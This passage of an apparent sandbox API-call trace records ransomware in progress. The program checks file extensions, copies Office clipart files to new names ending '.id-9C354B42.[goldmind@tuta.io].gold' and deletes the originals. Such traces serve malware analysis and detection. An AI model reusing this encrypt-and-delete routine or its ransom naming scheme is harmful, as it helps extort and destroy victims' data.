[0108.708] lstrlenW (lpString=".ppt") returned 4 [0108.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.708] lstrlenW (lpString=".zip") returned 4 [0108.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.708] lstrlenW (lpString=".rar") returned 4 [0108.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.708] lstrlenW (lpString=".bz2") returned 4 [0108.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.708] lstrlenW (lpString=".7z") returned 3 [0108.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.708] lstrlenW (lpString=".dbf") returned 4 [0108.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.708] lstrlenW (lpString=".1cd") returned 4 [0108.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0108.708] lstrlenW (lpString=".jpg") returned 4 [0108.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.708] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.708] lstrlenW (lpString="J0107730.WMF") returned 12 [0108.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.709] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3060) returned 1 [0108.709] CloseHandle (hObject=0x3b4) returned 1 [0108.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 0x20 [0108.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.710] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.710] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.711] GetLastError () returned 0x0 [0108.711] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xbf4, lpOverlapped=0x0) returned 1 [0108.712] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xc00, lpOverlapped=0x0) returned 1 [0108.712] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.712] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.713] SetEndOfFile (hFile=0x188) returned 1 [0108.713] CloseHandle (hObject=0x188) returned 1 [0108.713] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.713] SetEndOfFile (hFile=0x3b4) returned 1 [0108.714] CloseHandle (hObject=0x3b4) returned 1 [0108.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0108.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.715] lstrlenW (lpString=".doc") returned 4 [0108.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.715] lstrlenW (lpString=".docx") returned 5 [0108.715] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0108.715] lstrlenW (lpString=".pdf") returned 4 [0108.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.715] lstrlenW (lpString=".xls") returned 4 [0108.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.715] lstrlenW (lpString=".xlsx") returned 5 [0108.715] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0108.715] lstrlenW (lpString=".ppt") returned 4 [0108.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.716] lstrlenW (lpString=".zip") returned 4 [0108.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.716] lstrlenW (lpString=".rar") returned 4 [0108.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString=".bz2") returned 4 [0108.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString=".7z") returned 3 [0108.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.716] lstrlenW (lpString=".dbf") returned 4 [0108.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.716] lstrlenW (lpString=".1cd") returned 4 [0108.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.716] lstrlenW (lpString=".jpg") returned 4 [0108.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.716] lstrlenW (lpString=".doc") returned 4 [0108.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString=".docx") returned 5 [0108.716] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0108.716] lstrlenW (lpString=".pdf") returned 4 [0108.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString=".xls") returned 4 [0108.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.716] lstrlenW (lpString=".xlsx") returned 5 [0108.716] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0108.716] lstrlenW (lpString=".ppt") returned 4 [0108.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.716] lstrlenW (lpString=".zip") returned 4 [0108.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.716] lstrlenW (lpString=".rar") returned 4 [0108.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString=".bz2") returned 4 [0108.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString=".7z") returned 3 [0108.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.716] lstrlenW (lpString=".dbf") returned 4 [0108.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.716] lstrlenW (lpString=".1cd") returned 4 [0108.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0108.716] lstrlenW (lpString=".jpg") returned 4 [0108.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.716] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.717] lstrlenW (lpString="J0107734.WMF") returned 12 [0108.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.717] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3140) returned 1 [0108.717] CloseHandle (hObject=0x3b4) returned 1 [0108.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 0x20 [0108.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.718] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.718] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.718] GetLastError () returned 0x0 [0108.718] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xc44, lpOverlapped=0x0) returned 1 [0108.719] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0108.720] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.720] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0108.720] SetEndOfFile (hFile=0x188) returned 1 [0108.720] CloseHandle (hObject=0x188) returned 1 [0108.720] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.720] SetEndOfFile (hFile=0x3b4) returned 1 [0108.722] CloseHandle (hObject=0x3b4) returned 1 [0108.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 1 [0108.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.723] lstrlenW (lpString=".doc") returned 4 [0108.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.723] lstrlenW (lpString=".docx") returned 5 [0108.723] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.723] lstrlenW (lpString=".pdf") returned 4 [0108.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString=".xls") returned 4 [0108.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.724] lstrlenW (lpString=".xlsx") returned 5 [0108.724] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.724] lstrlenW (lpString=".ppt") returned 4 [0108.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.724] lstrlenW (lpString=".zip") returned 4 [0108.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.724] lstrlenW (lpString=".rar") returned 4 [0108.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString=".bz2") returned 4 [0108.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString=".7z") returned 3 [0108.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.724] lstrlenW (lpString=".dbf") returned 4 [0108.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.724] lstrlenW (lpString=".1cd") returned 4 [0108.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.724] lstrlenW (lpString=".jpg") returned 4 [0108.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.724] lstrlenW (lpString=".doc") returned 4 [0108.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString=".docx") returned 5 [0108.724] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0108.724] lstrlenW (lpString=".pdf") returned 4 [0108.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString=".xls") returned 4 [0108.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0108.724] lstrlenW (lpString=".xlsx") returned 5 [0108.724] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0108.724] lstrlenW (lpString=".ppt") returned 4 [0108.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.724] lstrlenW (lpString=".zip") returned 4 [0108.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0108.724] lstrlenW (lpString=".rar") returned 4 [0108.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString=".bz2") returned 4 [0108.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString=".7z") returned 3 [0108.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0108.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.724] lstrlenW (lpString=".dbf") returned 4 [0108.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.724] lstrlenW (lpString=".1cd") returned 4 [0108.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0108.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0108.724] lstrlenW (lpString=".jpg") returned 4 [0108.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0108.725] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0108.725] lstrlenW (lpString="J0107742.WMF") returned 12 [0108.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.725] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3644) returned 1 [0108.725] CloseHandle (hObject=0x3b4) returned 1 [0108.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 0x20 [0108.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0108.726] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.726] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0108.726] GetLastError () returned 0x0 [0108.726] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xe3c, lpOverlapped=0x0) returned 1 [0109.035] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe40, lpOverlapped=0x0) returned 1 [0109.036] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.036] WriteFile (in: hFile=0x188, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.036] SetEndOfFile (hFile=0x188) returned 1 [0109.036] CloseHandle (hObject=0x188) returned 1 [0109.036] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.036] SetEndOfFile (hFile=0x3b4) returned 1 [0109.037] CloseHandle (hObject=0x3b4) returned 1 [0109.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 1 [0109.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.048] lstrlenW (lpString=".doc") returned 4 [0109.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.048] lstrlenW (lpString=".docx") returned 5 [0109.048] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0109.049] lstrlenW (lpString=".pdf") returned 4 [0109.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.049] lstrlenW (lpString=".xls") returned 4 [0109.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.049] lstrlenW (lpString=".xlsx") returned 5 [0109.049] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0109.049] lstrlenW (lpString=".ppt") returned 4 [0109.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.049] lstrlenW (lpString=".zip") returned 4 [0109.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.049] lstrlenW (lpString=".rar") returned 4 [0109.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.049] lstrlenW (lpString=".bz2") returned 4 [0109.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.049] lstrlenW (lpString=".7z") returned 3 [0109.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.049] lstrlenW (lpString=".dbf") returned 4 [0109.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.049] lstrlenW (lpString=".1cd") returned 4 [0109.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.049] lstrlenW (lpString=".jpg") returned 4 [0109.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.049] lstrlenW (lpString=".doc") returned 4 [0109.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.049] lstrlenW (lpString=".docx") returned 5 [0109.049] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0109.049] lstrlenW (lpString=".pdf") returned 4 [0109.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.049] lstrlenW (lpString=".xls") returned 4 [0109.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.049] lstrlenW (lpString=".xlsx") returned 5 [0109.049] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0109.049] lstrlenW (lpString=".ppt") returned 4 [0109.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0109.049] lstrlenW (lpString=".zip") returned 4 [0109.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.049] lstrlenW (lpString=".rar") returned 4 [0109.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.050] lstrlenW (lpString=".bz2") returned 4 [0109.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.050] lstrlenW (lpString=".7z") returned 3 [0109.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.050] lstrlenW (lpString="C:\\Program Files\\Microsoft 